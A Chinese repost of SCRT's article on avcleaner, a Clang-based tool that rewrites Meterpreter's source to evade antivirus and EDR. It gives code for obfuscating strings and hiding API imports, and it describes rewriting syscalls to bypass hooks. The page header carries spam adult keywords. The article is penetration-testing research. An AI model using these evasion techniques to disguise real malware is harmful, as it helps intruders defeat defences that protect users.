日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

前言

此文章記錄了我們對殺毒軟件某些方面的研究,以及我們如何設法自動重構Meterpreter以繞過我們所遇到的每個AV / EDR。 雖然下面詳細介紹了每種技術的思想和字符串混淆過程的實現,但我們決定在以后的文章中發布有關API導入隱藏/系統調用重寫的詳細信息,以使此內容盡可能簡短。 源代碼位于https://github.com/scrt/avcleaner

大多數公司通常采取防御措施來保護其信息系統免受攻擊,在這些措施中,殺毒軟件或EDR等安全軟件通常是必不可少的工具集。盡管過去幾年來繞過任何類型的惡意軟件檢測機制非常容易,但如今這樣做無疑需要付出更多的努力。

另一方面,在POC本身被反病毒軟件阻止的情況下,與漏洞相關的風險交流變得更具有挑戰性。盡管理論上可以說有可能繞過檢測并保留它,但實際上這樣做可能會增加強度。

鑒于此,需要能夠繞過殺毒軟件。使事情稍微復雜化的是,在SCRT,我們盡可能地使用公開可用的開源代碼工具,以展示我們的工作可以被任何熟練使用它們的人復制,并且不依賴于昂貴的私人工具。

 

問題現狀

現在的社區通常喜歡將任何防病毒的檢測機制歸類為靜態或動態。通常,如果在惡意軟件執行之前觸發了檢測,則將其視為一種靜態檢測。但是,值得一提的是,殺軟也可以在惡意軟件執行期間調用靜態檢測機制(例如簽名),以響應諸如進程創建,內存中文件下載等事件。無論如何,如果我們想對任何類型的安全軟件使用舊的Meterpreter,我們都必須對其進行修改,使其滿足以下要求:

在文件系統掃描或內存掃描時,繞過任何靜態簽名。繞過“行為檢測”,這種行為通常與繞過用戶界面API hooking有關。

但是,Meterpreter包含幾個模塊,整個代碼庫總計約700’000行代碼。此外,它會不斷更新,這意味著運行項目的私有分支肯定會導致擴展性很差。簡而言之,我們需要一種自動轉換代碼庫的方法。

 

解決方案

經過多年繞過防病毒軟件的實際經驗,我們發現惡意軟件檢測幾乎都是基于字符串,API hooks或兩者的結合。

即使對于實施機器學習分類的產品(例如Cylance),一個沒有字符串,API導入和可掛鉤API調用的惡意軟件也可以像足球射門一樣穿過Sergio Rico的防御網絡。

Meterpreter具有成千上萬個字符串,不會以任何方式隱藏API導入,并且可以使用用戶界面API hook輕松攔截敏感的API,例如WriteProcessMemory。 因此,我們需要以自動化的方式對此進行補救,這將產生兩個潛在的解決方案:

源到源代碼重構LLVM在編譯時混淆代碼庫。

顯然,后者將是首選方法,這是許多流行的研究得出相同的結論。 主要原因是,轉換遍歷可以只編寫一次,而可以獨立于軟件的編程語言或目標體系結構重復使用。

自動重構Meterpreter繞過殺軟

 

但是,這樣做需要有用Visual Studio以外的編譯器編譯Meterpreter的能力。盡管我們已于2018年12月發布了一些更改工作,但在一年多之后,正式代碼庫的采用仍然是一個需要持續的過程。

同時,我們已決定不顧一切成本的實施第一種方法。在對源代碼重構的最新技術進行了徹底的回顧之后,libTooling(Clang / LLVM工具鏈的一部分)似乎是解析C / C ++源代碼并對其進行修改的唯一可行的選擇。

注意:由于代碼庫高度依賴Visual Studio,因此Clang無法解析Metepreter的很大一部分。但是,仍然有可能以一半的概率繞過目標防病毒軟件。在這里,我們可能遇到源到源轉換相對于編譯時轉換的唯一優勢:那就是編譯時轉換要求整個項目進行編譯而沒有任何錯誤。而源到源轉換可以允許成千上萬的編譯錯誤。而你只會得到一個不完整的抽象語法樹,這非常好。

 

字符串混淆

在C / C ++中,字符串可能位于許多不同的上下文中。 libTooling并不是一個足夠好的工具,因此我們應用了帕雷托法則(也即二八定律),將研究范圍限制在Meterpreter代碼庫中最可疑的字符串出現的代碼上:

函數參數列表初始化

 

函數參數

例如,我們知道,在以下情況下,ESET Nod32將標記字符串ntdll為可疑:

ntdll = LoadLibrary(TEXT("ntdll"))

但是,用以下方式重寫此代碼段將成功繞過檢測:

wchar_t ntdll_str[] = {'n','t','d','l','l',0};
ntdll = LoadLibrary(ntdll_str)

在看不見的幕后,第一個代碼片段使字符串ntdll存儲在生成的二進制文件的.rdata段內,并且防病毒程序很容易發現該字符串。 第二個片段是字符串在運行時存儲在堆棧中,并且在通常情況下與代碼在靜態上無法區分。 IDA Pro或替代產品通常能夠識別字符串,但它們也需要對二進制文件運行更高級且計算量更大的分析。

 

列表初始化

在Meterpreter的代碼庫中,可以在幾個文件中找到這種構造,例如在c/meterpreter/source/extensions/extapi/extapi.c 中:

Command customCommands[] =
{
    COMMAND_REQ("extapi_window_enum", request_window_enum),
    COMMAND_REQ("extapi_service_enum", request_service_enum),
    COMMAND_REQ("extapi_service_query", request_service_query),
    COMMAND_REQ("extapi_service_control", request_service_control),
    COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
    COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
    COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
    COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
    COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
    COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
    COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
    COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
    COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
    COMMAND_REQ("extapi_ntds_parse", ntds_parse),
    COMMAND_REQ("extapi_wmi_query", request_wmi_query),
    COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
    ...
}

這些字符串以明文形式存儲在ext_server_espia.x64.dll的.rdata節中,并由ESET Nod32進行選擇。

更糟糕的是,這些字符串是位于列表初始化程序中的宏的參數。 這引入了很多棘手的案例,但這些案例并不需要關心。我們的目的是自動重寫此代碼段,如下所示:

char hid_extapi_UQOoNXigAPq4[] = {'e','x','t','a','p','i','_','w','i','n','d','o','w','_','e','n','u','m',0};
char hid_extapi_vhFHmZ8u2hfz[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','e','n','u','m',0};
char hid_extapi_pW25eeIGBeru[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','q','u','e','r','y'
0};
char hid_extapi_S4Ws57MYBjib[] = {'e','x','t','a','p','i','_','s','e','r','v','i','c','e','_','c','o','n','t','r'
'o','l',0};
char hid_extapi_HJ0lD9Dl56A4[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','g','e','t'
'_','d','a','t','a',0};
char hid_extapi_IiEzXils3UsR[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','s','e','t'
'_','d','a','t','a',0};
char hid_extapi_czLOBo0HcqCP[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','s','t','a','r','t',0};
char hid_extapi_WcWbTrsQujiT[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','a','u','s','e',0};
char hid_extapi_rPiFTZW4ShwA[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','r','e','s','u','m','e',0};
char hid_extapi_05fAoaZLqOoy[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n'
'i','t','o','r','_','p','u','r','g','e',0};
char hid_extapi_cOOyHTPTvZGK[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','s','t','o','p',0};
char hid_extapi_smtmvW05cI9y[] = {'e','x','t','a','p','i','_','c','l','i','p','b','o','a','r','d','_','m','o','n','i','t','o','r','_','d','u','m','p',0};
char hid_extapi_01kuYCM8z49k[] = {'e','x','t','a','p','i','_','a','d','s','i','_','d','o','m','a','i','n','_','q','u','e','r','y',0};
char hid_extapi_SMK9uFj6nThk[] = {'e','x','t','a','p','i','_','n','t','d','s','_','p','a','r','s','e',0};
char hid_extapi_PHxnGM7M0609[] = {'e','x','t','a','p','i','_','w','m','i','_','q','u','e','r','y',0};
char hid_extapi_J7EGS6FRHwkV[] = {'e','x','t','a','p','i','_','p','a','g','e','a','n','t','_','s','e','n','d','_','q','u','e','r','y',0};

Command customCommands[] =
{

    COMMAND_REQ(hid_extapi_UQOoNXigAPq4, request_window_enum),
    COMMAND_REQ(hid_extapi_vhFHmZ8u2hfz, request_service_enum),
    COMMAND_REQ(hid_extapi_pW25eeIGBeru, request_service_query),
    COMMAND_REQ(hid_extapi_S4Ws57MYBjib, request_service_control),
    COMMAND_REQ(hid_extapi_HJ0lD9Dl56A4, request_clipboard_get_data),
    COMMAND_REQ(hid_extapi_IiEzXils3UsR, request_clipboard_set_data),
    COMMAND_REQ(hid_extapi_czLOBo0HcqCP, request_clipboard_monitor_start),
    COMMAND_REQ(hid_extapi_WcWbTrsQujiT, request_clipboard_monitor_pause),
    COMMAND_REQ(hid_extapi_rPiFTZW4ShwA, request_clipboard_monitor_resume),
    COMMAND_REQ(hid_extapi_05fAoaZLqOoy, request_clipboard_monitor_purge),
    COMMAND_REQ(hid_extapi_cOOyHTPTvZGK, request_clipboard_monitor_stop),
    COMMAND_REQ(hid_extapi_smtmvW05cI9y, request_clipboard_monitor_dump),
    COMMAND_REQ(hid_extapi_01kuYCM8z49k, request_adsi_domain_query),
    COMMAND_REQ(hid_extapi_SMK9uFj6nThk, ntds_parse),
    COMMAND_REQ(hid_extapi_PHxnGM7M0609, request_wmi_query),
    COMMAND_REQ(hid_extapi_J7EGS6FRHwkV, request_pageant_send_query),
    COMMAND_TERMINATOR
};

 

隱藏API導入

調用由外部庫導出的函數會使鏈接器向導入地址表(IAT)寫入一個條目。 最終函數名稱將在二進制文件中以明文形式顯示,因此在無需執行惡意文件的情況下,可以靜態恢復函數名。 當然,有些函數名稱相比其他名稱更可疑。 一個更明智的做法是隱藏所有可疑二進制文件,同時,保留大多數合法二進制文件中存在的文件。

例如,在Metepreter的kiwi擴展中,可以找到以下行:

enumStatus = SamEnumerateUsersInDomain(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);

該函數由samlib.dll導出,因此鏈接器會使字符串samlib.dll和SamEnumerateUsersInDomain出現在已編譯的二進制文件中。

要解決此問題,可以在運行時使用LoadLibrary/GetProcAddresss導入API。當然,這兩個函數都適用于字符串,因此也必須對其進行混淆。 因此,我們希望按如下所示自動重寫上述代碼段:

typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(
    SAMPR_HANDLE DomainHandle,
    PDword EnumerationContext,
    DWORD UserAccountControl,
    PSAMPR_RID_ENUMERATION* Buffer,
    DWORD PreferedMaximumLength,
    PDWORD CountReturned
);
char hid_SAMLIB_01zmejmkLCHt[] = {'S','A','M','L','I','B','.','D','L','L',0};
char hid_SamEnu_BZxlW5ZBUAAe[] = {'S','a','m','E','n','u','m','e','r','a','t','e','U','s','e','r','s','I','n','D','o','m','a','i','n',0};
HANDLE hhid_SAMLIB_BZUriyLrlgrJ = LoadLibrary(hid_SAMLIB_01zmejmkLCHt);
_SamEnumerateUsersInDomain ffSamEnumerateUsersInDoma =(_SamEnumerateUsersInDomain)GetProcAddress(hhid_SAMLIB_BZUriyLrlgrJ, hid_SamEnu_BZxlW5ZBUAAe);
enumStatus = ffSamEnumerateUsersInDoma(hDomain, &EnumerationContext, 0, &pEnumBuffer, 100, &CountRetourned);
Rewriting syscalls

 

重寫系統調用

默認情況下,在運行Cylance的計算機上使用Meterpreter的migration命令會觸發殺軟檢測(請謹慎)。 Cylance會使用用戶界面hook檢測進程注入。 為了避開檢測,可以去掉hook,這似乎是現在的主流趨勢,或者可以完全避免使用hook。 我們發現,讀取ntdll,恢復系統調用號并將其插入隨時可以調用的Shellcode中更為簡單,這可以有效地繞過任何殺軟用戶區的鉤子。 迄今為止,我們尚未找到可以將從磁盤讀取的NTDLL.DLL的行為識別為可疑的藍隊。

 

實現

上述所有想法都可以在基于libtools的源代碼重構工具中實現。本節說明我們是如何做到這一點的,這是在時間和耐心之間的妥協。因為缺少libtools文檔,所以此處還有改進的空間,如果你發現了什么,那可能是我們希望得到的反饋。

抽象語法樹101

編譯器通常包括幾個組件,最常見的是解析器和詞法分析器。 當將源代碼提供給編譯器時,它首先從原始源代碼(程序員編寫的代碼)中生成一個解析樹,然后將語義信息添加到節點(編譯器真正需要的)。 此步驟的結果稱為抽象語法樹。 維基百科展示了以下示例:

while b ≠ 0
  if a > b
    a := a − b
  else
    b := b − a
return a

這個小程序的典型AST如下所示:

自動重構Meterpreter繞過殺軟

 

在編寫需要理解其他程序屬性的程序時,這個數據結構允許使用更精確的算法,因此執行大規模代碼重構是一個不錯的選擇。

Clang的抽象語法樹

由于我們需要正確修改源代碼,因此我們需要熟悉Clang的AST。 好消息是Clang公開了一個命令行開關,以漂亮的顏色轉儲AST。 壞消息是,對于除”玩具項目”以外的所有項目,設置正確的編譯器標志都非常棘手。

現在,讓我們做一個現實而簡單的翻譯測試單元:

#include <windows.h>

typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG,
PLARGE_INTEGER, PULONG, ULONG, ULONG, ULONG);

int main(void)
{
    f_NtMapViewOfSection lNtMapViewOfSection;
    HMODULE ntdll;

    if (!(ntdll = LoadLibrary(TEXT("ntdll"))))
    {
        return -1;
    }

    lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection");
    lNtMapViewOfSection(0,0,0,0,0,0,0,0,0,0);
    return 0;
}

然后,將以下腳本插入.sh文件中:

WIN_INCLUDE="/Users/vladimir/headers/winsdk"
CLANG_PATH="/usr/local/Cellar/llvm/9.0.1"#"/usr/lib/clang/8.0.1/"

clang -cc1 -ast-dump "$1" -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECATED_NO_WARNINGS"
  "-I" "$CLANG_PATH/include" 
  "-I" "$CLANG_PATH" 
  "-I" "$WIN_INCLUDE/Include/msvc-14.15.26726-include"
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/ucrt" 
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/shared" 
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/um" 
  "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" 
  "-fdeprecated-macro" 
  "-w" 
  "-fdebug-compilation-dir"
  "-fno-use-cxa-atexit" "-fms-extensions" "-fms-compatibility" 
  "-fms-compatibility-version=19.15.26726" "-std=c++14" "-fdelayed-template-parsing" "-fobjc-runtime=gcc" "-fcxx-exceptions" "-fexceptions" "-fseh-exceptions" "-fdiagnostics-show-option" "-fcolor-diagnostics" "-x" "c++"

請注意,WIN_INCLUDE指向一個文件夾,其中包含與Win32 API進行交互的所有必需的標頭。 這些是從標準Windows 10安裝中直接獲取的,為了避免讓你頭疼,我們建議你執行相同操作,千萬不要選擇MinGW。 然后,以需要測試的C文件作為參數來調用腳本。 雖然這會產生一個18MB的文件,但通過搜索我們定義的字符串之一(例如“ NtMapViewOfSection”),可以輕松導航到AST的有趣部分:

自動重構Meterpreter繞過殺軟

 

現在,我們有了一種可視化AST的方法,可以更輕易地了解如何更新節點才能獲得結果,同時不在結果源代碼中引入任何語法錯誤。 以下各節包含與使用libTooling進行AST操作有關實現的詳細信息。

ClangTool樣板

在進入有趣的內容之前,需要一些樣板代碼,因此需要將以下代碼插入main.cpp中:

#include "clang/AST/ASTConsumer.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/Decl.h"
#include "clang/AST/Type.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/Basic/SourceManager.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Rewrite/Core/Rewriter.h"

// LLVM includes
#include "llvm/ADT/ArrayRef.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/raw_ostream.h"

#include "Consumer.h"
#include "MatchHandler.h"

#include <IOStream>
#include <memory>
#include <string>
#include <vector>
#include <fstream>
#include <clang/Tooling/Inclusions/IncludeStyle.h>
#include <clang/Tooling/Inclusions/HeaderIncludes.h>
#include <sstream>

namespace ClSetup {
    llvm::cl::OptionCategory ToolCategory("StringEncryptor");
}

namespace StringEncryptor {

    clang::Rewriter ASTRewriter;
    class Action : public clang::ASTFrontendAction {

    public:
        using ASTConsumerPointer = std::unique_ptr<clang::ASTConsumer>;

        ASTConsumerPointer CreateASTConsumer(clang::CompilerInstance &Compiler,
                                             llvm::StringRef Filename) override {

            ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts());
            std::vector<ASTConsumer*> consumers;

            consumers.push_back(&StringConsumer);

            // several passes can be combined together by adding them to `consumers`
            auto TheConsumer = llvm::make_unique<Consumer>();
            TheConsumer->consumers = consumers;
            return TheConsumer;
        }

        bool BeginSourceFileAction(clang::CompilerInstance &Compiler) override {
            llvm::outs() << "Processing file " << 'n';
            return true;
        }

        void EndSourceFileAction() override {

            clang::SourceManager &SM = ASTRewriter.getSourceMgr();

            std::string FileName = SM.getFileEntryForID(SM.getMainFileID())->getName();
            llvm::errs() << "** EndSourceFileAction for: " << FileName << "n";

            // Now emit the rewritten buffer.
            llvm::errs() << "Here is the edited source file :nn";
            std::string TypeS;
            llvm::raw_string_ostream s(TypeS);
            auto FileID = SM.getMainFileID();
            auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID);

            if(ReWriteBuffer != nullptr)
                ReWriteBuffer->write((s));
            else{
                llvm::errs() << "File was not modifiedn";
                return;
            }

            std::string result = s.str();
            std::ofstream fo(FileName);

            if(fo.is_open())
                fo << result;
            else
                llvm::errs() << "[!] Error saving result to " << FileName << "n";
        }
    };
}

auto main(int argc, const char *argv[]) -> int {

    using namespace clang::tooling;
    using namespace ClSetup;

    CommonOptionsParser OptionsParser(argc, argv, ToolCategory);
    ClangTool Tool(OptionsParser.getCompilations(),
                   OptionsParser.getSourcePathList());

    auto Action = newFrontendActionFactory<StringEncryptor::Action>();
    return Tool.run(Action.get());
}

由于該樣板代碼取自官方文檔中的示例,因此不需要再進一步的描述。 唯一值得一提的修改是在CreateASTConsumer的內部。 我們的最終目標是在同一個翻譯單元上進行多次轉換。 可以通過將項目添加到集合中來完成(基本行是consumers.push_back(&...);)。

字符串混淆

本節描述有關字符串混淆過程的最重要的實現細節,包括三個步驟:

在源代碼中找到字符串。用變量替換它們在適當的位置(包含函數或全局上下文中)插入變量定義/賦值。

在源代碼中查找字符串文字

可以如下定義StringConsumer(在StringEncryptor命名空間的開頭):

class StringEncryptionConsumer : public clang::ASTConsumer {
public:

    void HandleTranslationUnit(clang::ASTContext &Context) override {
        using namespace clang::ast_matchers;
        using namespace StringEncryptor;

        llvm::outs() << "[StringEncryption] Registering ASTMatcher...n";
        MatchFinder Finder;
        MatchHandler Handler(&ASTRewriter);

        const auto Matcher = stringLiteral().bind("decl");

        Finder.addMatcher(Matcher, &Handler);
        Finder.matchAST(Context);
    }
};

StringEncryptionConsumer StringConsumer = StringEncryptionConsumer();

給定一個翻譯單元,我們可以告訴Clang在AST中找到一個模式,同時注冊一個“處理程序”以在找到匹配項時調用。 Clang的ASTMatcher公開的模式匹配功能非常強大,但在這里并未得到充分利用,因為我們僅是用它來定位字符串。

然后,我們可以通過實現MatchHandler來解決問題,它將為我們提供MatchResult實例。 MatchResult包含對標識的AST節點的引用以及上下文信息。

接下來我們可以實現一個類的定義,并從clang::ast_matchers::MatchFinder::MatchCallback:繼承一些東西:

#ifndef AVCLEANER_MATCHHANDLER_H
#define AVCLEANER_MATCHHANDLER_H

#include <vector>
#include <string>
#include <memory>
#include "llvm/Support/raw_ostream.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/ArrayRef.h"
#include "clang/Rewrite/Core/Rewriter.h"
#include "clang/Tooling/Tooling.h"
#include "clang/Tooling/CommonOptionsParser.h"
#include "clang/Frontend/FrontendAction.h"
#include "clang/Frontend/CompilerInstance.h"
#include "clang/Basic/SourceManager.h"
#include "clang/ASTMatchers/ASTMatchers.h"
#include "clang/ASTMatchers/ASTMatchFinder.h"
#include "clang/AST/Type.h"
#include "clang/AST/Decl.h"
#include "clang/AST/ASTContext.h"
#include "clang/AST/ASTConsumer.h"
#include "MatchHandler.h"

class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback {

public:
    using MatchResult = clang::ast_matchers::MatchFinder::MatchResult;

    MatchHandler(clang::Rewriter *rewriter);
    void run(const MatchResult &Result) override; // callback function that runs whenever a Match is found.

};

#endif //AVCLEANER_MATCHHANDLER_H

在MatchHandler.cpp中,我們必須實現MatchHandler的構造函數和run回調函數。 構造函數非常簡單,僅僅只需要存儲 clang::Rewrite的實例以供以后使用即可:

using namespace clang;

MatchHandler::MatchHandler(clang::Rewriter *rewriter) {
    this->ASTRewriter = rewriter;
}

run的實現如下所示:

void MatchHandler::run(const MatchResult &Result) {
    const auto *Decl = Result.Nodes.getNodeAs<clang::StringLiteral>("decl");
    clang::SourceManager &SM = ASTRewriter->getSourceMgr();

    // skip strings in included headers
    if (!SM.isInMainFile(Decl->getBeginLoc()))
        return;

    // strings that comprise less than 5 characters are not worth the effort
    if (!Decl->getBytes().str().size() > 4) {
        return;
    }

    climbParentsIgnoreCast(*Decl, clang::ast_type_traits::DynTypedNode(), Result.Context, 0);
}

上面摘錄的三段代碼中有三個點值得一提:

我們提取與StringEncryptionConsumer中定義的模式匹配的AST節點。為此,可以調用函數getNodeAs,它需要一個字符串作為參數,該參數與模式綁定的標識符相關(請參見const auto Matcher = stringLiteral().bind("decl")行)我們會跳過分析中沒有在翻譯單元中定義的字符串。實際上,我們的過程會在Clang的預處理程序之后進行干預,它會將包含的系統頭的內容復制粘貼到翻譯單元中。然后,我們準備處理字符串。 由于我們需要在上下文中找到此字符串,因此需將提取的節點沿著Result.Context傳遞給用戶定義的函數(在本例中為climbParentsIgnoreCast,因為缺少更好的名稱),其中包含一個 參考隨附的AST。 目標是向上訪問樹,直到找到有趣的節點。 在這種情況下,我們對CallExpr類型的節點感興趣。

bool
MatchHandler::climbParentsIgnoreCast(const StringLiteral &NodeString, clang::ast_type_traits::DynTypedNode node,
                                     clang::ASTContext *const pContext, uint64_t iterations) {

    ASTContext::DynTypedNodeList parents = pContext->getParents(NodeString);

    if (iterations > 0) {
        parents = pContext->getParents(node);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("Cast") != std::string::npos) {

            return climbParentsIgnoreCast(NodeString, parent, pContext, ++iterations);
        }

        handleStringInContext(&NodeString, pContext, parent);
    }

    return false;
}

簡而言之,此函數以遞歸方式查找StringLiteral節點的父節點,直到找到一個有趣的節點(非“ cast”)。 handleStringInContext也很簡單:

void MatchHandler::handleStringInContext(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                         const clang::ast_type_traits::DynTypedNode node) {

    StringRef ParentNodeKind = node.getNodeKind().asStringRef();

    if (ParentNodeKind.compare("CallExpr") == 0) {
        handleCallExpr(pLiteral, pContext, node);
    } else if (ParentNodeKind.compare("InitListExpr") == 0) {
        handleInitListExpr(pLiteral, pContext, node);
    } else {
        llvm::outs() << "Unhandled context " << ParentNodeKind << " for string " << pLiteral->getBytes() << "n";
    }
}

從上面的代碼片段可以明顯看出,實際上只有兩種類型的節點可以處理。 如果需要,添加更多內容也應該很容易。 事實上,這兩種情況都已經用類似的方式處理。

void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    const auto *FunctionCall = node.get<clang::CallExpr>();

    if (isBlacklistedFunction(FunctionCall)) {
        return; // exclude printf-like functions when the replacement is not constant anymore (C89 standard...).
    }

    handleExpr(pLiteral, pContext, node);
}

void MatchHandler::handleInitListExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                      const clang::ast_type_traits::DynTypedNode node) {

    handleExpr(pLiteral, pContext, node);
}

替換字符串

由于CallExpr和InitListExpr都可以用類似的方式處理,因此我們定義了一個公共的可用函數。

bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                  const clang::ast_type_traits::DynTypedNode node) {

    clang::SourceRange LiteralRange = clang::SourceRange(
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getBeginLoc()),
            ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc())
    );

    if(shouldAbort(pLiteral, pContext, LiteralRange))
        return false;

    std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str());

    if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement))
        return false ;

    Globs::PatchedSourceLocation.push_back(LiteralRange);

    return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement);
}

我們隨機生成一個變量名。在最近的位置找到一些空白空間,然后插入變量聲明。 這基本上是一個ASTRewriter->InsertText()的包裝將字符串替換為在步驟1中生成的標識符將字符串所在位置添加到集合中。 這很有用,因為在訪問InitListExpr時,相同的字符串將出現兩次(不知道為什么)。

最后一步是真正難以實現的一步,因此讓我們首先關注這一點:

bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext,
                                        clang::SourceRange LiteralRange,
                                        const std::string& Replacement) {

    // handle "TEXT" macro argument, for instance LoadLibrary(TEXT("ntdll"));
    bool isMacro = ASTRewriter->getSourceMgr().isMacroBodyExpansion(pLiteral->getBeginLoc());

    if (isMacro) {
        StringRef OrigText = clang::Lexer::getSourceText(CharSourceRange(pLiteral->getSourceRange(), true),
                                                         pContext->getSourceManager(), pContext->getLangOpts());

        // weird bug with TEXT Macro / other macros...there must be a proper way to do this.
        if (OrigText.find("TEXT") != std::string::npos) {

            ASTRewriter->RemoveText(LiteralRange);
            LiteralRange.setEnd(ASTRewriter->getSourceMgr().getFileLoc(pLiteral->getEndLoc().getLocWithOffset(-1)));
        }
    }

    return ASTRewriter->ReplaceText(LiteralRange, Replacement);
}

通常情況下,應該使用ReplaceText API實現替換文本,但是實際上遇到了很多錯誤。 當涉及到宏時,由于Clang的API行為不一致,因此事情會變得非常復雜。 例如,如果取消選中isMacroBodyExpansion(),最終將替換“ TEXT”而不是其參數。

例如,在LoadLibrary(TEXT("ntdll"))中,實際結果會變成LoadLibrary(your_variable("ntdll")),這明顯是錯誤的。

原因是TEXT是一個宏,當由Clang的預處理器處理時,會將其替換為L"ntdll"。 我們的轉換過程是在預處理器完成工作之后發生的,因此查詢標記”ntdll”的開始和結束位置將產生幾個字符的額外值,這對我們沒有用處。 不幸的是,使用Clang的API來查詢原始翻譯單元中的實際位置是一種魔咒,只能通過不斷試錯來進行。

在最近的空白位置插入變量聲明

現在我們可以用變量標識符替換字符串了,我們的目標是定義該變量并為它分配給原始字符串的值。 簡單的說,我們希望打補丁后的源代碼包含char your_variable[] = "ntdll",同時不覆蓋任何內容。

可能有兩種情況:

字符串文字位于函數體內。字符串文字位于函數主體外部。

后者是最直接的方法,因為只需要查找使用字符串的表達式的開頭即可。

對于前者,我們需要找到封閉函數。 Clang公開了一個API來查詢函數體的起始位置。 這是插入變量聲明的理想位置,因為該變量將在整個函數中可見,并且我們插入的標記不會覆蓋內容。

在任何情況下,這兩種情況都可以通過訪問每一個父節點來解決,直到找到一個FunctionDecl或VarDecl類型的節點為止:

MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {

    if (Iterations > CLIMB_PARENTS_MAX_ITER)
        throw std::runtime_error("Reached max iterations when trying to find a function declaration");

    ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;

    if (Iterations > 0) {
        parents = Context->getParents(Parent);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
            auto FunDecl = parent.get<clang::FunctionDecl>();
            auto *Statement = FunDecl->getBody();
            auto *FirstChild = *Statement->child_begin();
            return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};

        } else if (ParentNodeKind.find("VarDecl") != std::string::npos) {

            if (IsGlobal) {
                return parent.get<clang::VarDecl>()->getSourceRange();
            }
        }

        return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
    }
}

 

測試

git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c
自動重構Meterpreter繞過殺軟

 

如您所見,這很好用。 現在,此示例非常簡單,可以使用正則表達式解決,并減少代碼行數。

分享到:
標簽:重構 Meterpreter
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

